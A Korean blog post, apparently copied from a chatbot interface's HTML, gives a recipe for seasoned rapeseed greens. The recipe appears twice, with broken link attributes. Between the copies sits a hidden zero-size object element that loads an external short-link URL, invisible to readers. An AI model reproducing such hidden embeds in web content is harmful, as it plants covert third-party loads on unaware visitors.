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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:35">봄의 향기, 유채나물 무침 만들기! (하루나 무침 레시피)</h2><p data-sourcepos="3:1-3:110"><strong>봄의 대표적인 나물</strong>이라고 할 수 있는 유채나물! 씁쓸하면서도 달콤한 맛과 톡 쏘는 식감은 밥도둑 역할을 톡톡히 해줍니다. 오늘은 <strong>유채나물 무침</strong>을 직접 만들어 먹는 방법을 소개합니다!</p><p data-sourcepos="5:1-5:10"><strong>필요한 재료</strong></p><ul data-sourcepos="7:1-15:0">
<li data-sourcepos="7:1-7:10">유채나물 1 근</li>
<li data-sourcepos="8:1-8:9">소금 1 큰술</li>
<li data-sourcepos="9:1-9:15">다진 마늘 1 테이블스푼</li>
<li data-sourcepos="10:1-10:13">참기름 1 테이블스푼</li>
<li data-sourcepos="11:1-11:8">깨소금 약간</li>
<li data-sourcepos="12:1-12:7">액젓 약간</li>
<li data-sourcepos="13:1-13:7">후추 약간</li>
<li data-sourcepos="14:1-15:0">대파 1/2 대</li>
</ul><p data-sourcepos="16:1-16:10"><strong>만드는 방법</strong></p><ol data-sourcepos="18:1-26:0">
<li data-sourcepos="18:1-19:18">유채나물은 흐르는 물에 깨끗이 씻어줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a4c088d3f0d52fa&quot;,&quot;c_74087b21b03435de&quot;,null,&quot;rc_b71b5e656ac47479&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.10000recipe.com/recipe/7016123"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="유채나물 씻기 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQsRuKZUoWpI0mMcbEiwNQpJacWdJtpeNE4RENYiHAlcqiDIuNcc6vW2V0Zjei4"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://m.10000recipe.com/recipe/7016123" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a4c088d3f0d52fa&quot;,&quot;c_74087b21b03435de&quot;,null,&quot;rc_b71b5e656ac47479&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcRj16YNXGJCJGxZ73KkQhBV9PviL6G4AlQhnTIZ08_PdvUw1W5QkYQ61i-tHm2MpYwX-ylmE3al0jwyeRnpyj962X4Ll9aZhDQkwJU"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">m.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 유채나물 씻기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
<li data-sourcepos="20:1-21:19">끓는 물에 소금을 넣고 유채나물을 데칩니다. 데칠 시간은 약 1분 정도입니다. 유채나물의 색이 변하면 찬물에 헹궈 물기를 꼭 짜줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a4c088d3f0d52fa&quot;,&quot;c_74087b21b03435de&quot;,null,&quot;rc_b71b5e656ac47479&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/4633728"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="유채나물 데치기 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTEsaq0ncfSadkVbku0Fn3YBInz9sMTVWRcxRSzySWN4Ol5EyT73Rq9ciR5_L0w"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/4633728" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a4c088d3f0d52fa&quot;,&quot;c_74087b21b03435de&quot;,null,&quot;rc_b71b5e656ac47479&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 유채나물 데치기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
<li data-sourcepos="22:1-22:25">데친 유채나물을 한입 크기로 썰어줍니다.</li>
<li data-sourcepos="23:1-23:42">볼에 다진 마늘, 참기름, 깨소금, 액젓, 후추를 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="24:1-24:46">썰어 둔 유채나물을 넣고 양념이 골고루 배어나도록 밑에서부터 살살 섞어줍니다.</li>
<li data-sourcepos="25:1-26:0">송송 썰은 대파를 넣고 마지막으로 한번 더 섞어주면 완성입니다!</li>
</ol><p data-sourcepos="27:1-27:6"><strong>꿀팁</strong></p><ul data-sourcepos="29:1-34:0">
<li data-sourcepos="29:1-29:30">유채나물을 데칠 때 소금을 넣으면 덜 씁쓸해집니다.</li>
<li data-sourcepos="30:1-30:26">양념의 양은 취향에 따라 조절해도 좋습니다.</li>
<li data-sourcepos="31:1-31:34">매운 것을 좋아하신다면 고춧가루를 약간 넣어도 맛있습니다.</li>
<li data-sourcepos="32:1-32:20">깨 대신 참깨를 넣어도 좋습니다.</li>
<li data-sourcepos="33:1-34:0">나물을 더 오래 맛있게 먹고 싶다면 멸치액젓을 조금 넣어주세요.</li>
</ul><p data-sourcepos="35:1-35:14"><strong>봄의 맛을 한입에!</strong></p><p data-sourcepos="37:1-37:68">이렇게 간단하게 유채나물 무침을 만들 수 있습니다. 밥도둑 역할을 톡톡히 해줄 유채나물 무침을 직접 만들어 맛있게 드세요!</p><p data-sourcepos="39:1-39:30"><strong>이 외에도 다양한 유채나물 요리법</strong>이 있습니다.</p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:45"><strong>유채나물 겉절이:</strong> 유채나물을 데친 후 양념에 절여 만드는 요리입니다.</li>
<li data-sourcepos="42:1-42:36"><strong>유채나물 된장국:</strong> 유채나물을 넣고 끓인 된장국입니다.</li>
<li data-sourcepos="43:1-44:0"><strong>유채나물 비빔밥:</strong> 유채나물 무침을 밥 위에 올려 먹는 비빔밥입니다.</li>
</ul><p data-sourcepos="45:1-45:29">다양한 유채나물 요리를 만들어 봄의 맛을 즐겨보세요!</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:35">봄의 향기, 유채나물 무침 만들기! (하루나 무침 레시피)</h2><p data-sourcepos="3:1-3:110"><strong>봄의 대표적인 나물</strong>이라고 할 수 있는 유채나물! 씁쓸하면서도 달콤한 맛과 톡 쏘는 식감은 밥도둑 역할을 톡톡히 해줍니다. 오늘은 <strong>유채나물 무침</strong>을 직접 만들어 먹는 방법을 소개합니다!</p><p data-sourcepos="5:1-5:10"><strong>필요한 재료</strong></p><ul data-sourcepos="7:1-15:0">
<li data-sourcepos="7:1-7:10">유채나물 1 근</li>
<li data-sourcepos="8:1-8:9">소금 1 큰술</li>
<li data-sourcepos="9:1-9:15">다진 마늘 1 테이블스푼</li>
<li data-sourcepos="10:1-10:13">참기름 1 테이블스푼</li>
<li data-sourcepos="11:1-11:8">깨소금 약간</li>
<li data-sourcepos="12:1-12:7">액젓 약간</li>
<li data-sourcepos="13:1-13:7">후추 약간</li>
<li data-sourcepos="14:1-15:0">대파 1/2 대</li>
</ul><p data-sourcepos="16:1-16:10"><strong>만드는 방법</strong></p><ol data-sourcepos="18:1-26:0">
<li data-sourcepos="18:1-19:18">유채나물은 흐르는 물에 깨끗이 씻어줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4a4c088d3f0d52fa","c_74087b21b03435de",null,"rc_b71b5e656ac47479",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.10000recipe.com/recipe/7016123"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="유채나물 씻기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQsRuKZUoWpI0mMcbEiwNQpJacWdJtpeNE4RENYiHAlcqiDIuNcc6vW2V0Zjei4"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://m.10000recipe.com/recipe/7016123" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4a4c088d3f0d52fa","c_74087b21b03435de",null,"rc_b71b5e656ac47479",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRj16YNXGJCJGxZ73KkQhBV9PviL6G4AlQhnTIZ08_PdvUw1W5QkYQ61i-tHm2MpYwX-ylmE3al0jwyeRnpyj962X4Ll9aZhDQkwJU"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">m.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 유채나물 씻기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
<li data-sourcepos="20:1-21:19">끓는 물에 소금을 넣고 유채나물을 데칩니다. 데칠 시간은 약 1분 정도입니다. 유채나물의 색이 변하면 찬물에 헹궈 물기를 꼭 짜줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4a4c088d3f0d52fa","c_74087b21b03435de",null,"rc_b71b5e656ac47479",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/4633728"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="유채나물 데치기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTEsaq0ncfSadkVbku0Fn3YBInz9sMTVWRcxRSzySWN4Ol5EyT73Rq9ciR5_L0w"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/4633728" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4a4c088d3f0d52fa","c_74087b21b03435de",null,"rc_b71b5e656ac47479",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 유채나물 데치기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
<li data-sourcepos="22:1-22:25">데친 유채나물을 한입 크기로 썰어줍니다.</li>
<li data-sourcepos="23:1-23:42">볼에 다진 마늘, 참기름, 깨소금, 액젓, 후추를 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="24:1-24:46">썰어 둔 유채나물을 넣고 양념이 골고루 배어나도록 밑에서부터 살살 섞어줍니다.</li>
<li data-sourcepos="25:1-26:0">송송 썰은 대파를 넣고 마지막으로 한번 더 섞어주면 완성입니다!</li>
</ol><p data-sourcepos="27:1-27:6"><strong>꿀팁</strong></p><ul data-sourcepos="29:1-34:0">
<li data-sourcepos="29:1-29:30">유채나물을 데칠 때 소금을 넣으면 덜 씁쓸해집니다.</li>
<li data-sourcepos="30:1-30:26">양념의 양은 취향에 따라 조절해도 좋습니다.</li>
<li data-sourcepos="31:1-31:34">매운 것을 좋아하신다면 고춧가루를 약간 넣어도 맛있습니다.</li>
<li data-sourcepos="32:1-32:20">깨 대신 참깨를 넣어도 좋습니다.</li>
<li data-sourcepos="33:1-34:0">나물을 더 오래 맛있게 먹고 싶다면 멸치액젓을 조금 넣어주세요.</li>
</ul><p data-sourcepos="35:1-35:14"><strong>봄의 맛을 한입에!</strong></p><p data-sourcepos="37:1-37:68">이렇게 간단하게 유채나물 무침을 만들 수 있습니다. 밥도둑 역할을 톡톡히 해줄 유채나물 무침을 직접 만들어 맛있게 드세요!</p><p data-sourcepos="39:1-39:30"><strong>이 외에도 다양한 유채나물 요리법</strong>이 있습니다.</p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:45"><strong>유채나물 겉절이:</strong> 유채나물을 데친 후 양념에 절여 만드는 요리입니다.</li>
<li data-sourcepos="42:1-42:36"><strong>유채나물 된장국:</strong> 유채나물을 넣고 끓인 된장국입니다.</li>
<li data-sourcepos="43:1-44:0"><strong>유채나물 비빔밥:</strong> 유채나물 무침을 밥 위에 올려 먹는 비빔밥입니다.</li>
</ul><p data-sourcepos="45:1-45:29">다양한 유채나물 요리를 만들어 봄의 맛을 즐겨보세요!</p></div>
</div></div>
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유채나물무침 봄나물 하루나 유채 요리
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24.10.26 15:44
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